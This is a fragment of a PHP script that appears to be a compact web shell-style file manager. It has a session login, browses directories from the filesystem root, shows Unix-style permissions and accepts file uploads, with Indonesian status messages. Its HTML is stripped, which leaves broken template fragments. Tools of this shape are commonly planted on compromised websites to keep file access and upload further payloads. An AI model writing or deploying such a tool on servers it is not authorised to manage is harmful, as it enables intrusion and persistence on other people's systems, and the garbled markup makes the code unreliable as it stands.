= 1024 && $i < count($u)-1){ $b/=1024; $i++; } return ($i ? number_format($b,2) : (string)$b) . ' ' . $u[$i]; } function permsToString($f){ $p = @fileperms($f); if ($p === false) return '??????????'; $t = ($p & 0x4000) ? 'd' : (($p & 0xA000) ? 'l' : '-'); $s = (($p & 0x0100) ? 'r' : '-') . (($p & 0x0080) ? 'w' : '-') . (($p & 0x0040) ? 'x' : '-'); $s .= (($p & 0x0020) ? 'r' : '-') . (($p & 0x0010) ? 'w' : '-') . (($p & 0x0008) ? 'x' : '-'); $s .= (($p & 0x0004) ? 'r' : '-') . (($p & 0x0002) ? 'w' : '-') . (($p & 0x0001) ? 'x' : '-'); return $t.$s; } function safeJoin($base,$child){ $child = str_replace(array("\0", "..", "/", "\\"), '', $child); return rtrim($base, DIRECTORY_SEPARATOR).DIRECTORY_SEPARATOR.$child; } function tryWriteFromTmp($tmp,$dest){ if(@move_uploaded_file($tmp,$dest)) return true; if(@copy($tmp,$dest)) return true; return false; } function listDirEntries($dir){ $h = @opendir($dir); if ($h===false) return array(); $items=array(); while(false!==($e=readdir($h))){ $items[]=$e; } closedir($h); return $items; } function breadcrumbs($path){ $path = str_replace(array('/', '\\'), DIRECTORY_SEPARATOR, $path); $segments = array_values(array_filter(explode(DIRECTORY_SEPARATOR, $path), 'strlen')); $out = array(); $acc = (DIRECTORY_SEPARATOR === '\\') ? '' : DIRECTORY_SEPARATOR; if (DIRECTORY_SEPARATOR === '\\' && preg_match('~^[A-Za-z]:~', $path)) { $drive = substr($path, 0, 2); $acc = $drive . '\\'; $out[] = array($drive, $acc); } else { $out[] = array('root', DIRECTORY_SEPARATOR); } foreach($segments as $s){ if (preg_match('~^[A-Za-z]:$~', $s)) continue; $acc = rtrim($acc, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR . $s; $out[] = array($s, $acc); } return $out; } /* ---------- Action Handling ---------- */ $msg = ''; if (!isset($_SESSION['auth'])) { if (isset($_POST['user']) && $_POST['user'] == AUTH_USER && password_verify($_POST['pass'], AUTH_PASS_HASH)) { $_SESSION['auth'] = true; header("Location: ?"); exit; } // Simple Login echo '
'; exit; } // Proses Upload if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_GET['a']) && $_GET['a'] === 'upload') { if (isset($_FILES['f_upload']) && $_FILES['f_upload']['error'] === UPLOAD_ERR_OK) { $target = safeJoin($current_path, $_FILES['f_upload']['name']); if (tryWriteFromTmp($_FILES['f_upload']['tmp_name'], $target)) { $msg = "Upload sukses: " . h($_FILES['f_upload']['name']); } else { $msg = "Upload gagal!"; } } } /* ---------- UI Icons ---------- */ function svgIcon($name){ $icons=array( 'folder'=>'', 'file'=>'', 'up'=>'' ); return $icons[$name]; } ?>| Name | Size | Perms |
|---|---|---|
| = svgIcon('up') ?> .. (Back) | ||
|
= svgIcon('folder') ?> = h($f) ?>
= svgIcon('file') ?> = h($f) ?>
|
= $is_dir ? 'DIR' : humanSize(@filesize($full)) ?> | = permsToString($full) ?> |